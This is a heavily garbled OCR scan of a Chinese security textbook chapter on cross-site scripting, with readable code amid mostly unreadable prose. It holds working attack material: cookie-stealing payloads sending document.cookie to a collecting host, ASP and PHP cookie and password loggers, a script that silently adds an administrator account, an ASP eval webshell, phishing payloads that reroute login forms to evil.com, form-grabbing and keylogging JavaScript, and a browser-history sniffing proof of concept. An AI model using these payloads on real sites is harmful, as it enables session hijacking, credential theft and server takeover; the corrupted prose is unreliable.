AT SCHTR, AR Cookie {5 B2 20t na#r i, BRI 4% 254 Ho AR th At
T4, {AELZEBE A B, DT Cookie AT EANEIX L FFFHME X, HEH Cookie 15
JE ) IR 55 B8 R AS Hl ek B E S5, AhATIRE AT LA Fe 52 N B0 B R M, 1XHRAT b — Y i Cookie
W% Cookie 2x ik ik -

ki 10 5 R F Wk 1R XSS I AR E . B — AN M FEAA6E R XSS (i Y XSS),
Yk 5 5K oT LA 10 6 B2 1 5 A\ D5 X Cookie {5 B BRI, fER I XSS M TS, Hroh# i
BE RS2 H AT K28 K Cookie 15 .o

Y nl LU BLF JLR A7 s03REL )7 56 () Cookie £ B :

<script>
I document.location="http://www.test.com/cookie.asp?cookie ='+document.cookie

' </script> .

| <img src="http://www.test.com/cookie.asp?cookie='+document.cookie"></img>

<script>

new Image().src="http://www.test.com/cookie.asp?cookie="+document.cookie;
</script>

<script>

img = new Image();

img.src = "http://www.test.com/cocokie.asp?cookie="+document.cookie;
img.width = 0;

img.height = 0

</script>
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<script>

document.write('<img src="http://www.test.com/cookie.asp?cookie="'"+document.cookie+'"
width=0 height=0 border=0 />'});

<fscript>

eI 28 £, A —NMEBAIER Cookie {5 B3, ARl -

ASP JRA .
<%
msg=Request.ServerVariables ("QUERY_STRING")
testfile=Server.MapPath ("cookie.txt")
set fs=server.CreateObject ("scripting.filesystemobject™)
set thisfile=fs.OpenTextFile(testfile,8,True,0)
. thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

PHP hR &

<?php

$cookie = $§_GET|['cookie'];
$log = fopen("cookie.txt",
fwrite(3log, $cookie ."\n");
fclose(Slog);

o

Bk #F E3REUSZ H EF (1) Cookie {5 Bn, MW ES Web RE# VL1E, A5 2@ AR K
FAo BRSSO N B AN e a5 2 Cookie T H, WA Z X Cookie k% T F. Firefox
F YT 3% (46 FF Firecookie %5 .

2.1.3 Cookie Ul

FEF R EASE BRI BT Cookie KSR BLh L .
HETEA I A WA NS, JF FEAI LA web FEFE. W ETT, 4 ERRER - MERE
B, b 2-4 fros.

a");

x@y| | BAER | &9
HAER 1 S 1L %

AE2-4 EEAL

L 182 CAHE P i N XSS fAHS “<script>alert('XSS")</script>", i Hii (B 8% ] #&Hl,
Srit gt — A EHE, Wl 2-5 FroR,  ditbuEsEi% XSS & AN RO AU XSS.
XSS Expliot &1

http://127.0.0.1/Search.asp?Keyword=<script>var x=new Image|();x.src="http://127.0.0.1
/cockie.asp?cookie="+document.cookie;</script>

iX BEACHS (4 F 2R H <scriptbr B B & — 4> Image X1 %K & iX Cookie.
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F2® XSSHEHAMT

S50 1Mt /12T 0.0 1/Search. axpTRayvor SR seript Rl ar (NFRTISSRTTECR ser i p UOEAbUSs: ¥

HW | B | BWEN | SsEN | REDR | SRR | A& | BaeT

HEsm— | AESes | BESSc | EEgsn
mPE =

a8 2-5 FRFRAMY XSS

Bl 2-6 Frar B3R 74 F) Cookie {5 8.

Q) SEQ HIQ =W Y

<-bof||2011-12-9

22:11:32]|127.0.0.1| |cookie=KHSRURTRE | BWHFQUYHUH=EF SUBUILQE JLSUKOIGKPUPTTE
YFTIKCRDIRIJWIW ;Z220Metpic~Setting=132C0%2C132C132C 03201220 02201320 022013
2C0EView=16ViewHide~DkUote~1RUpload=1&PicFlag=aSe lF=16Manage~BEArticle=18
ArticleFlag=0tComment =16Source=06CroupID=sttroup-iE< f
Elserld=77EUserHame=quh123| |eof->

£-baf||2H1-12-9

22:31:50( |127.0.0.1] |cookie=KHSRURTRE | BWHF QUYHUH=PMI ZKX0TTOLQUOGDIKGTOCQ L2
JOSHPSHLHREQADK ;32 0Metpic-Setting=132C132C132C132C132C1320132C132C132C13
2C1EView-1GViewHide~18Vote~1EUpload=1&PicF lag=185elF=1EManage=1EArticle=1&
ArticleFlag=1&Comment = 18650urce=15Groupl D= 186roup=E ¥ f
BlUserld-716UserHame-admin| |eof->

a®E2-6 TiB Cookie IR

KL Cookie fif EJG » 8t nl LA HIEEME I Cookie S0l 1T 2L 55 IR 45 B8 48t X 2% .t B o7
TH Eiia)f& & ¥ B 5L http://127.0.0.1/Admin_Index.asp, 2 BoR1fE 2-7 AR 4R

% BMRMEE IP; 177.0.0.1 - Copkies & Injnct Drowser — by gxgl.com
IR AEY REQ ¥Ry
@ -0 -7 s @8 T Coskies: KNSRYATREIBWHFOUYMUH=A4COEWFZDLGAFO0AYSYI
Acdess | CTEHFIEIETSENTTEY - R
S FAT ¥ L mws x BE o) s
miRma
e iR R E -
« HTE., HTRWER?
<« EEE-W
e REA© hing/ Ao gl comy Tachoneshowantads (vl BEER = s

A 2-7 HERREEMNER
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o 22 SiEHH
B, Hiidi Cookie ¥k TR L) « Ebw, RJFIEIRIEIHIEFE B A Cookie 17 BANIG 2 55
1111 Cookie £2h, ] 2-8 firas.

// BBEIN cookie B R
Netpic=Setting=1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1laView=14aViewHide=1&4Vote=14&0pl

oad=1&PicFlag=1l&Self=1&Manage=1&Article=1&ArticleFlag=1&4Comment=1&Source=1&GroupID=1&
Group=E® fAsUserId=71sUserName=admin

jm Cookiet: NetpEE N ' PRREIPC1 %201 %201%2C1
T o~ BER

a® 2-8 #ih Cookie

Py DRUH] 4&alEnnrviil s &, i 2-9 Fios.

Y MEA% IP: 127.0.0.1 Cookiez & Inject Browser by gxgl. com

THE By REQ ®EHe

O-O- O @iaN | Cookies: Netpic=Seitng=1%2C1%2C1 %201 %201 %201 X201 %201 %2C1 %201 %2C1
Tl aEE

Address: | @) hitp: /M 27.0.0.1 Mcrnin_Index. asg|
Oy e o EE o) B

HIEANSR
ERET | RELE--F0DB--FE0AT-EwE

EAREAE
WitwE EArvE
| aEER aEOE RERRE
| pmER eTER _mxm: 4 WEEEE: 4
| m—————— Tuail $HEFEH: x COONTS HMRH: x
hspTpeg WMFHEFF: x EREeTeTiE - B
FaRFEERS
|FRIFE RO SRR TR AT P EEFNT B R R 920045007385

R |-

EEHﬁMwmgmmmua FEA T hitp v gugl com/ Taction=shawarthid=1 (v

AE 2-9 FF Cookie IR THEANES

22 P
] Cookie fF7E—3€ ML EREG, DL, JFREIFEMEH —S T 24 WAl —

Session.

2.2.1 7 f# Session #l#i
Session 1) SCREIE 2, FESm AL U i) # A\ BARE E £ T BT B IR, 7EiXA4N i e
dr, BRI AR AR A P Session. Session JEFET-U5 ) (UMERE, dF T ANV 0 TTEE
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FIGEHR, LR 2 f5, Session BBk “iHK” T .
75 Session HLEIH, 2/ 355 F1 IR 25 Sl sk R VR A ARG P 8 AERE &, BXMRIRRFR

AL AFI M ATRE.
Session Fl Cookie i KX AIFET: Session sE{RAF7EMR S5 ) N AF B, 1 Cookie fRAF T
A B g A L .

2.2.2 XSS SLEANPRIEF

ATV Z P A2 [ % Session HLHI, RFEAE S XSS B Ui A 2 [a] B S AH K . BT if i« 216 EhFF”,
gt B4R Bt & A XSS Bh#F 7P 21l 2 PUT REORERIF (3G, XEREREERRE

FIFETHBLR 0 H 1)
X R R 2SR RET Cookie [, 215 EhR M0 A R B P £ T Cookie
H 5 3 B R 55 S
A TAERFRA BB EB R B, DA A Al i) = A, ATl — A SEbr il Fok B3t
Hjj @
H ASP B 5 REGEAFE—NFREAR XSS deild, Wk 2-10 fras.
HOU D @] http /7127 0.0. 1/ guestBook_add. asp
FMEE
gEA: enndry
gEam: [1gif
*®8:
'R
ﬂ.:
HiE :. |
SEEE: [test
gEAE: hi <script>alert ("XSS[')</script>
Lid
EESEE

@ 2-10 FEEFTEA XSS K5

Halrat XSS A EHRMSHEEY, YNHRGREEHARH SN, FLME XSS i,
wipd 2-11 Fros,

i XSS 2 AE G G AN, BB g s G R R . il JavaScript {059, Bl
A RESHFF AT FE I SR PAT R, AT IR BIHR THBUBR I% E (1.

52

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

|22 REHMNA

Qe x 2 ,m= wRE ) £ g oo o-

B2 ] haep: AM1Z2T,0.0. 1/ admin/manage. asp v BjoE am»

i .
: 2011512 108 1 -zmnﬁ“
i

gt
LR L i)

SEEEE SnEw

SHEH | SEEA
4 STmEen
= AEEER
) WEPEE

U —
e

&by m . Tt -
aE2-11 SERkE NSS

Hetm, Bti # ARRI ] XSS B —A G 6 B K, Al SSRGS N B 6 5 1 (9 HTTP
iR fE R, AEMWH XMLHTTP X %465 6 &% > HTTP i REIa]

AR TE IR T &% 2 8] () HTTP {580, ol BURH] HTTP 406 T A5k Web fCFE#K{F, Firebug
TEBERAN Dh i SR A, FC R mim P 2-12 B

&% £ o E - B#s mmaL cs5 i DON MI4E -~ Cookies
. THEE fR¥F FFA ML CSS JS ¥HR FAF Flash #i{%
'mam ot T L Pl i L ” N st ¥ ;*?Lf .,_.!.w_ A ‘% ] Wm

- POST adminUser_Add.a: i
X5B Post == @& HTML Cookies

wE LR
Server UatBox Versimn 1§ Baild LB
Dabe E2at 0 Dec 2010 D8018.37 MU
Connection © L]

Cache-Control =
Content-Type = bal
Content-Length I:37
HF LR
Host .27 Z.I.:
User-Agent
Accept
Accept-Language
Accept-Encoding
Accept-Charset
Connection
Referer -
Cookie tsizi. 43 :d=ar LI

aE ?2-12 M Firebug #iBEERE
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
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®2® xssHEmREE
Firebug fEVE4Nd% HTTP R I0{5 8, X B FEMZ KA URL HubkF POST M¥EE, Wk
2-13 PR,

24¥B 127.0.0.1:80

= http:/[127.0.0.1jadmin/AdminUser/adminUser Mdasp

Z%EE Post m® &EF HTML Cookies

Userlamesl23{TedpasevordisiiidScEpasswerdisiia4Ts

o

PurviewzdE3EDCRI SXEDANA N1 2 Bubaitsh

aE 2-13 EFF URL #thabFn POST #iE
iKY URL Hahik:

| /admin/AdminUser/adminUser_ Add.asp

KM POST ¥k -

UserName=123456&passwordl=123456&password2=123456&Purview=%B9%DC%CO0%ED%D4%Bl4&Submit=%
CC%E1%BD%BB

XSS Shellcode U1 | :

var request = false;

if (window.XMLHttpRequest) |

request = new XMLHttpRequest();

if (request.overrideMimeType) {

request.overrideMimeType ('text/xml');

}

} else if(window.ActiveXObject) |

var versions = |['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.
XMLHTTP.7.0', "Msxml2.XMLHTTP.6.0", 'Msxml2 .XMLHTTF.5.0"', 'Msxml2.XMLHTTP.4.0"', '"MSXMLZ.
XMLHTTP.3.0", 'MSXML2.XMLHTTP']:

for (var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject (versions[i]);:

} catchie) {}

}

}

xmlhttp=request;

add_admin();

function add_admin(} {

var url="/admin/AdminUser/adminUser Add.asp"; //i&R#blt

var params ="UserName=xssl23&passwordl=123456&password2=123456Purview=%B9%DC%C0%ED%
D4%B1l&Submit=%CC%E1$BDEBB"; WE 530k 6

xmlhttp.open("POST", url, true);

xmlhttp.setRequestHeader ("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader ("Content-length™, params.length):;

xmlhttp.setRequestHeader ("Connection", "close");
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12 AEhNen

xmlhttp.send(params) ;

}

WRUEHAT M) JavaSeript JEEH, (EEF5MIMARLL LT, LAMREF LA xmibtp
X K3%—A POST WK, i T ZlfR W L T B4 ) Cookie 3 —FIREBIMI I, HTUARELE
o R M I — MBS AR AT B T Ajax BR (T Ajax HARTIAE
55 WA,

P 2-14 FF % WRALR -

HrPER | emArs

mres

REERE
2011-12-10 14:36:23

2011-12-10 14:19:05

2009-3-23 16:35:21

Y 2008-12-10 17:05:40

admin 127.0.0.1 2011-12-10 14:36:21

A 2-14 FIB XSS HThENEEAKS
2.2.3 FREM s Webshell

Sl AT MER, HEEE TS TS| XSS AR A K — A HE .

AR, TEAE4EN Web M, XSS WiZEA T SQL {8 Mr&IAT. AR5,
fEE BT IR [ . RIGIER, EE 4055 T, XSS fg E BRI MR

[FUBRT AR, E—L 8% MBERGE G RO EE IS, BEAEERERE
et P E £ ? EREEEM. Ko ESE, — MR E TR 34 K Webshell, #{E5E i 4 25
o A R RN S, AR B PR A 4 55 7 iR Webshell . Webshell & e B A< 5 =
45 (15 [ TREFE Cal LAERAR b — 4> Web 9 3% (R BLBR ), F1IFH Webshell ] LL i) i 45 8% & 3% — 26 sk f1 i,
T—4%d 4, mE2-15077R. ,

A, B JE H bRk B SQL VST SO AL 55 4e 4R, [FIAE T LR ] XSS $RHL Webshell.

W4, takEr XSS i heil Tt T Lo B 43K Webshell?

X RAT S E PRSI sbr b, XFERSARATIRE . 20REE, BBED Web REGKH
AccesstASP FJ42, T BB PESCAFEN R, BRI B AT RO UM R 4R (MDB) 5k
ASP, WP 2-16 fiiR.

KRk, BUURRASESCIL T B IR 8O R PR ThaE, (HRXEET AN ReRE, HE
MR ) B e FE AR RS S TS (n<%evil request(“xss™) %>), W 2-17 fis, KRG
H#EVT M) ASP 8¢ ASA #5280 B SCfFHhuht, 3t AESE 1Ty 55 26 Ha $RH 2 ™ 35 i) Webshell o
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T TR RORMAEE S 2 Y, AR AR 2 A P B AT AR 1, 75 R AT 1) SE BRI R AT RIS Bkl SR T 2L
A, WIAEAE B PRI SR IR AR A IR SRR U FRCRI 2 &b, WOE S A, B T LU . TESEIERR S, SCREE P IERR.
PR BEIEAN A R AT ARTE L —AGBY, A1 H AR R E PO ARIT I sk SR AL =G oA se B T3 JE
BT MG httpe///iwww.17huan.com gti% 2.5T P mis OB AU P #E EUR, PRt N A1 R s

®2E XSS FAHRE

wi &M Intranet
[E 2-15 Webshell #{EHR M

S EHIEE %$><Neval request ("crmdry”)¥><%

HEN %eval request ("crmdry” )E>H

i %eval request ("crndry”)%><%

Flsk X HF  test

test
L test
1 Dk3w#d0@asp_acc. asp
F/IPEES test
N5 test
al® 2-16 5%H ASP RUBERE Y uF 2-17 @A—ANERE

X, HohE siel AR AT XSS 515 64 1 A MR FER G TS CHME SR B 5 8.

ARZE N1, IR% Web W IR0 )G 6 #0568 FE R Thie, 1Zh e S 7 5 BUPR A4 fik
e, i 2-18 ok,

gt # vl B 5 o) AR 00 5 OB ARES, 50 b —ak & 5 T ARRD H BER B, 4R )5 3t i
Kl 6 XSS, HFFE R &li(E )5 & %0 Webshell.
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23 MKHHE

HE RENERECOEN TS . PoE IR BT BSRATEE B RoHEHERG,
FF, bThae 0 B

S SEREES: Upload\20110212099. jpg FERESEYSTHSRONERREGY
&GRS ; Databackup WPERFHFE . BFEBAER
iSRG E S shell. asp

EiilN

I mans

M Efh (Phishing) &P H 4T VEMR Y T B, F 2Ll 2 #H & 0885 2. & O,
(AR RE S IR P B R ST VE S, i T2 TRE2EI—Fb .
B — M FA LA HTML 4888

| <a href="http://198.126.122.1">http://www.trustedsite.com</a>

BLPE, REESU: XAMHEAEERY P MUEELIEAMES. BREHEERY
http://www.trustedsite.com, {H'es FL3H ) () kil 2 198.126.122.1.

it LR, BASEAMUN XA BENZR AR, BELFEFRPIREER
VB N St R BB

o £ 4 1 R R AT s R A A A 3 L o 12 1) M 6 A7 ek, iy ELIXRP G AR HE IR R, 7
A RRVE B N B SR BT .

2.3.1 XSS Phishing

Rgtmk, 7SS nA g S ARANRIRE, “Mgiyta” LN, SR
RERAR, BRIEBL.

o, ERERES UK Web B HBIRET T, fESEICES e B B fa iy, LE
WVFE (4 Web J 8P AR T R, —LeUIRTAfE 8 QQ, 7E& 1% URL £ 4y
WAL G & atE thE dh TIX P 3, (6 P % s (5 41 BE s, =) e 4k 449 £ i i
KA.

M R D ) A TR AT B A, ANA K KEIRB e B EmaRt:, o, 44
XSS 5 A M) R £ B4 S dge FL BRI — Fp G T B .

ARATIEL, XSS 50k BIA 5 K 4 M A BESE 76 M 0T P f A A& AT JavaScript, AAESHFFH
(R4 BT 2318, [ I fi 4 o ) MO 28 (R0 S8 40T A . RIAIX 4, Bohi e st i se sy fa sy, X
Fh AT XSS )5 AR YRR A XSS Phishing.

R GE 044 0 WG ik 5060 FL BRI, 7 ) FE SR 5 A I i ) 0 5 A8 R S B . 33 %) £ Y
1AL R DU AU IS, BUAR B BB R By 0 R S ARLL,  ERY A BRI ) A R e R .

Mg+ XSS HARJGE, Mk HHERIM L JavaScript &) 2535 &) UL A 2581 Web %/ i (f 184, {§

afE 2-18 EHIBUEEAEThE
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B2 Xaohearn

XSS 44 16 30 Bl 4 0 R KK 3R T

B2, Bt BT SEHE$ A B ? T iR T R AR R .

(1) #a5T1M.

Wik o M ¥t TUMT o —ARE9 £ 0 BT A6 - B2 A AR B SRR 4, EARTT T LA TS 199 3
i sl %, i g i) HTML .

<form method="post" action="index.php?action=login">

<input type="text" name="username" value="Nick" /><br />
<input type="password" name="password" value="Pass" /><br />
<input type="submit" name="login" value="Submit" />

</form>

ferg R P M HhE. R R S ASSEEE B UH A get.php, M EXFE<form>F5%E 1
action {f{, wl:

| <form method="post" action="http://www.evil.com/get.php">

(2) WRfE B EA.,
{EI PR 28 (hitp://www.evil.com) |, 247H—A kBRI SR IK 5 I # o (s B IR T
3 (get.php), ALFSWIFFTR:
<?php
$date = fopen("logfile.txt","a+");
$login = $ POST['username'];
S$pass = $_POST|['password'];
fwrite($date, "Username: $login\n");
fwrite($date, "Password: $pass\n");
fclose ($date) ;
Header ("location: http://target.com");
>
X BRSO PN IE S Cusername) FI# Y (password) 58, IFRAELE logfile.txt
CAFH, #R )5 H] PHP ) header() o B0 S R 0L [0 1), Lk 0 1 9 20 380 1 6 1) (1) P9 32t
(3) XSS Phishing Expliot.

Yt # 75 XSS 5T 4 A I AKHS :

I http://www.bug.com/index.php?s=<script src=http://www.evil.com/xss.js></script>

2P e XA RN, s AT RIRER ) xss.js 30, ESCHVE R R B4 Iframe E
B o H AR 00, AN RO 1 I P9 U (phishing.html).
iX B 4§ H document.body.innerHTML J7 iZ:4di A S :

document .body.innerHTML= (

'<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">"+
'<iframe src=http://www.evil.com/phishing.html width=100% height=100%>"'+
'<fiframe></div>"'

)i

BLE, BRAE—ANRI XSS He A S i £ 0 900 Bk (1) ) 2o ol
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23 REHe

232 XSSH&EMAR

BehEMPIATB RN, EHAYT .

T, BATGREET S HoAh LR L H WL XSS Ff .

(1) XSS FEE M1 (XSS Redirect Phishing).

PRy O 24 B 0L ) BN ey b B www.bug.com DM Y, A
$940 9 55 www.evil.com SRE5e4{h B IEH MU TN B LIT A, AT 6 S vERES) .

e ¥t www.bug.com bFH —4k XSS:

[ http://www.bug.com/index.php?search= [ Expliot ]

M4, Exploit @W1F:

http://www.bug.com/index.php?search=""><script>document.location.href="http://www.evi
1l.com"</script>

IXPE 2 Ak F P DS R i £ P90 3 Bk A 3] A T F 4 £ P 3

(2) HTML yEAREIf (XSS HTML Inject Phishing ).

HTML A8 3R HREFI A XSS Wi S HTML/JavaScript fAS 3 T, #&F Finm
NP

http://www.bug.com/index.php?search="'<html><head><title>login</title></head>
<body><div style="text-align: center;"><form

Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/>

<input name="login" /><br />Password:<br/><input name="Password" type="password" /><br
/><br /><input name="Valid" value="0k" type="submit" /><br /></form></div></body></html>

XBAE AR IE W TR A > Form K&, A 2-19 fior.
Bl Feb, AR AR AAEEM NS URL &, REHEH—MERER, %R0 LB 5
Wi 2R, SREHE P RAK S ESFEER.

(3) XSS EEHEAEHf (Iframe Phishing). - _
JE Fp oy 2 I i <Iframe> bR 28 ik A g R0 — N T SE EEY L, Password:

2.3.1 W TR ) 72540, [BIRE A Iframe 51 3 = A Oy 8 5%

0, b AR AEFE IE B B SE FR 42 T, Rt R AT IR A Ak e .
A XsS: AE2-19 SEABREY

| http://www.bug.com/index.php?search= [Expliot]

JE4. , XSS Phishing Exploit W1 F:

http://www.bug.com/index.php?search="><iframe src="http://www.evil.com” height="100%"
width="100%"></iframe>

Iframe (YRR T AR IALSE, wf CARSHESL S i B ol LA BB, B4~ HTML 3
5, SRR

[ <html>
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E2® XSS HAARM

<head>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<title>BE—T, {RELHIE </title>

<body scroll="no">

<iframe name="myFrame" src="http://www.baidu.com" width="100%" height="100%" scrolling
="auto" frameborder="0" onload="this.style.height=document.body.clientHeight"></iframe>
</body>

</html>

PR PR AT iz 3k, i B R A RCR I 2-20 s

W EM—TF, R&EE — Vindows Internet Explorer JE ’_(
e ®EE FEW ERE TAD BHY L
Qme- O ¥ 2 ,mm Jremr )£ - -
ok L5 DAL R N v B s "
BESE ES
wm MW WE HE e BN AN B
| BE-F |
Fd 5H haot2s | EE
EERANEN
RAREM" | REREH | ZFEE | sbout Bad

&) = b .h.lwnl .

A 2-20 Hid iframe A S TIHE

A T R R A BRI T RN B S PR R DL — R, (FR AN T 127.0.0.1, BETHA
JE T IE IR & B P 3 (1

(4) Flash £ (Flash Phishing).

e, HILAFH Flash BT840 . Flash $9fa H 2 AT R EFAFE XSS Wi, HEH
i F ORI Y Flash CfF (bhin—ME B G RHE) EAERLR R RS, A5 Hbr M v F
Hl<object>a<embed>#5 %5 2: 5| H] Flash B A] . _

28R, Flash & GBI 2 %2R, 05 XSS, CSRF FIFER S &, ifi H Flash t26 A
(K4 P i 5 ——ActionScript. ActionScript 5 JavaScript. R4S FEiE &5 —FEH0 AT LA o5 534
o ff)— T4t B T-Bto

TEARTSIIE 6 B, AR Flash (8 ] %2 4.

233 BEPBERK
R XSS #ilE T LLETEUH S 2:1% ) Cookie, A&7 HU &5 H F (1 Ba L s, 3% MDs5
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23 EAHSs

AT R, HE, WRMILE A T Hitponly ) Cookie CHf Cookie B E N “Httponly”
A Bjj 1l Cookie # % & JavaScript A ), s EiLIHIL Cookie I N BRAZEE MK, B
26T MU F7 Cookie B8 HHK) J7 125 49 S B 2 b
XA T, PR S bR T BRI P SO P RS AE B XA R B B e
XSS Byt iAR, ik X SR AR (1) 3 B #E R AR R RPN DHTML, JavaScript. Ajax %.
T A IR B (Y S ER S BETE N JavaScript I A QRS £ £ HTML & A% Web 9974,
tbdn T ff) JavaScript 65

<script>

Form = document.forms["userslogin"];
Form.onsubmit = function() {

var iframe = document.createElement ("iframe");
iframe.style.display = "none";

alert (Form.user.value);

iframe.src = "http://127.0.0.1/phishing.php?user="+Form.user.value + "&pass=" +
Form.pass.value;

document .body.appendChild (iframe) ;

b

</script>

X BACHS HRARIDUH P A2 8 R i N P 2 IS B, ARGRAS SuraI i) PHP
A (http://127.0.0.1/phishing.php) .
BRIV LR

<script>

loginForm = document.forms[' userslogin '];
function parseDatal()

{

var user = loginForm.user.value;

var pass = loginForm.pass.value;

saveData (username, password) ;

return true;

}

function saveData (username, password)

{

var frame=document.createElement('iframe’):;
frame.src=" http://127.0.0.1/phishing.php?user=" + user + "&pass=" + pass;
frame.style.display="none"';

document .body.appendChild(frame) ;

}

loginForm.onsubmit = parseData;

</script>

Wt 2-21 Bron, {EAHBEATIGC, 0N as U m GO, ARE A LG BORRAT, AbE
P 2 RIOAHA SR A G R B, W 2-22 B,
BeAh, Brdi ik al LLAEH] JavaScript 4w 5 B AL I KRS .
T W B R WP onclick Hi4F, Al LAXPESEIL:
for (i=0;i<document.links.length;i++){

document.links[i].onclick = hijack;
}

SN T B B onkeydown FH44, H ARSI -

61
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®o® xssHEAAME

document .onkeydown=function (e) {
if(!e)e=window.event;

try{hijack():;}catch(ex){}

1

Ome- Q- x @ ,Jux e
Hg ﬂhttp /7127.0.0. 1/ test. php f login. txt Tole S
s
| THE SEE BXQ FEW MBHY
P& admin 2 : admin| 570 -1234560
E i%: (LTI
AE 2-21 BAERMR

Al 2-22 PITHBEEMANGER
B i X B ACHS ) o] LUR] T 30 F5 R BB AHE, ZREUA P AR H P 2 M # S 6E R, Hid R FR:

document .onkeyup=function() {
document . forms ['PassFormlogin'].onsubmit=function() {

pwd = this.PassInputUsername0.value + '|' + this.PassInputPassword0.value;
log (escape (pwd) ) ;

}

1

Ak, g JavaScript B LA Form FPICHE, MMM L RmE R FBAL, Fiiogk A
#.(f) POC:

function grabber () {
F = document.forms;
for (var j=0; j<F.length; ++j)
{
f = F[j):
for (i=0; i<f.length; ++i)
{
if (f[i].type.tolowerCase() == "password")
{
alert ("Password:"+f[i] .value)
}

else if (f[i].type.toLowerCase() != "submit")
{
alert ("Text:"+£f[i] .value)
}
}
}
}
grabber () ;
B 2-23 AR R IR R
JavaScript S id RKA%IE AT LRI P 32 FF e, 75 1E 30588 b el LAME T FARFS S B
<script>

function keyDown() {
var keycode
var realkey

alert ("FEEREY:

event.keyCode;
String.fromCharCode (event. keyCode)
" + keycode + " Ff: " + realkey);

}

document .onkeydown = keyDown;
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2.4 XSS History Hack

I </seript>

| @ |
| " " = T
| a - C' 2 | fila:f//C:/Documents and Settings/Administrator - ." - )

filey///C:/Docum...or/ S/ testhtml - i
| EBEFE. admin |
| esesss

i Login |

[JavaScript WHERF]

| Text.admin
=%
R - I O aee
o M Fw W -
| »2= functicn grabbe F = Jocumentionms
i F = documenrt.torms;
arabbe farivar j=0- | «Flength: +<jj
! f=Fg
i for ii=0; i <flength: « <) |
{ . |
if iffil.type.toLowerCase( == “password”) i
| | |
| EF Wk N F= b
= i

aE2-23 {ERJISHEF Form BETE

PRAE LR RES AR S S 84T T, ZEB At AR LA e, X a3 T Bon I H 8t (s
BHHEHE, Wk 2-24 FrR.

HUTE D ] hatps//127.0.0. 1/test. php

Nicrosoft Internet Explorer X|

-!l =il 88 FH D

AF 2-24 TR PRI T
U, XSS #1h ik (1) @ el B—BE!

iz [ —2% JavaScript/CSS £2175, A GEIRHH - o Wi as i) Jode s sk, B E R AEE RS &6
NI FFF o Z A Y] 11 Jeremiah Grossman 7E Black Hat USA 2006 48 4, 105 5]
T CSS fig 2 SR il RE B AE X st .
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#o& XSSFBHRLM

2.4.1 #EHRF0 getComputedStyle()

ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

CSS 17 4 MR E LHERMFEA, 2 JE: alink. a:visited. a: active fll achover, Efi]
BARKVIFE CUIRM. BOERRDC R R I LIsERE, W FHTR:

:link {color: #FF0000}  /* RibiEJsgEsE +/
:visited {color: #00FF00}/* EifijelfI§EE +/
:hover {cclor: #FFOOFF} /* HirEBEESEL ~/
:active {color: #0000FF} /* #ikBFMEE ~/

(T T T 1)

AT EORHBCR, aTLGETE A HTML SRS R 483

<style type= "text/css">
a:link{color:blue}
a:visited{color:red}
athover{color:yellow}
</style>

<a href="http://www.gqg.com" id="x">gg</a></br>

<a href="http://www.1l63.com" id="x">163</a>

<a href="http://www.google.com" id="x">google</a></br>
<a href="http://www.baidu.com" id="x">baidu</a></br>
<a href="http://weibo.com" id="x">weibo</a></br>

<a href="http://www.sina.com.cn" id="x">sina</a></br>

PR FR AT T 1230, s T AR Bl b 2-25 (A, 3oh 8o 20t it 2 3 2 i i

Ao PR P, R PR AR U el £ P 3

Ok, P RER AL B WVF 2 L, XL ]
AL A AR oK, BRAEF S 20 ER, S s
WK ELORAFAEA ML SR . gy B3 e RO
Jon s B 07 Sl R B R R, KR fER
5, Buli#a] DE SRR FdE— A R HAh By, it
oL,

Bl &0 \Documents snd Settings‘hdministrator\E@l\ess ¥

google
baidu

aE 2-25 Wik CSS wEa

W2, BT o7 HOR /7 30 U 88 0 D s i SRR R A5 B ? X T B S 4G JavaSeript Al
CSS HiAR, MAERGSGEH T ARALE VR NMEEM URL, XFh = m g
“JavaScript/CSS history hack”. %A EEFH T Dom H1f) getComputedStyle() /7 i K LM, X T

getComputedStyle()fI 4 H] % & v FIATHESE .
2.4.2 JavaScript/CSS history hack

JavaScript/CSS history hack fEZREN 50 W 8% (1 KL L6 [ st id s, TCIRBEE L HFH CSS fitse Xy it
AR Uy )i i R B R . th T JavaScript 0] LLEEEUEAT S E M CSS 15 8., HARGE P

Ay N T R R P 15 U ) el i .
EZHEAM POC Wl F:

<html>

<body>
<H3>Visited</H3>

<ul id="visited"></ul>
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DT PTIEBORMX G 2 Z S AT ANAN R 2 A 8 AT A, A7 IS 24 FAT 1) SEBR BRI ARSI ST D2 SRR T 2L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .

g GEURAN AR R AT PSR £ AR E, TRATIH H AR A DB UM S kst | SR i Jo s i oe

B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

BT R A

* 2.4 XSS History Hack

<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
var websites = [
"http://www.baidu.com/",
"http://wwww.google.com/",
